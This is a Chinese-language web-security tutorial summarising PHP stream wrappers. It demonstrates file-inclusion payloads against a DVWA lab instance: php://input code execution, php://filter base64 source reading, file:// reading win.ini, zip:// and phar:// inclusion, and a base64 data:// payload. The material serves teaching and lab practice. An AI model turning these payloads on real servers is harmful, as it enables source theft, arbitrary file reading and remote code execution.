php伪协议小结[web安全]

PHP伪协议:

协议 功能
file:// 访问本地文件,需要绝对路径
http:// 访问http/https
ftp:// 访问ftp
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的文件路径模式
phar:// php归档
ssh2::// secure shell 2
rar:// RAR
ogg:// 音频流
expect:// 处理式交互流
php:// 访问各个输入/输出流

部分协议会受到配置文件中allow_url_fopen和allow_url_include所影响
伪协议在攻防中,通常被文件包含漏洞或者xxe所利用

php://
不受allow_url_fopen影响
php://input、php://stdin、php://memory、php://temp受allow_url_include影响

php://input
可以访问POST的内容
当enctype="multipart/from-data"时,php://input无效
在文件包含页面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=php://input
post提交

php伪协议小结[web安全]_第1张图片
php伪协议小结[web安全]_第2张图片

php://filter
php://filter可以读写文件
在文件包含页面读取源码: http://192.168.83.33/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php
php伪协议小结[web安全]_第3张图片
读出的源码经过了base64编码,不经过base64编码的话会直接执行
php伪协议小结[web安全]_第4张图片

file://
不受allow_url_fopen和allow_url_include影响
使用方法: file://+[文件绝对路径]
在文件包含页面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=file://c:/windows/win.ini

php伪协议小结[web安全]_第5张图片
成功读取到win.ini的内容

zip://、bzip://、zlib://
不受allow_url_fopen和allow_url_include影响
使用方法:zip://[压缩包绝对路径]#[压缩包文件的子文件名]
写入到1.txt并压缩到c://1.zip
在文件包含页面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=zip://c:/1.zip%231.txt (这里我用#号会报错,所以使用了%23)

php伪协议小结[web安全]_第6张图片

data://
受allow_url_fopen和allow_url_include影响
可以利用该协议执行代码
page=data://text/plain,
如果有符号被过滤可以试试base64编码page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

php伪协议小结[web安全]_第7张图片
php伪协议小结[web安全]_第8张图片

phar://
写入到1.txt并压缩到c://1.zip,改后缀名为1.jpg
在文件包含页面:http://192.168.83.33/DVWA/vulnerabilities/fi/?page=phar://c:/1.jpg/1.txt

php伪协议小结[web安全]_第9张图片

可以看到这样也可以执行php代码

你可能感兴趣的:(php伪协议小结[web安全])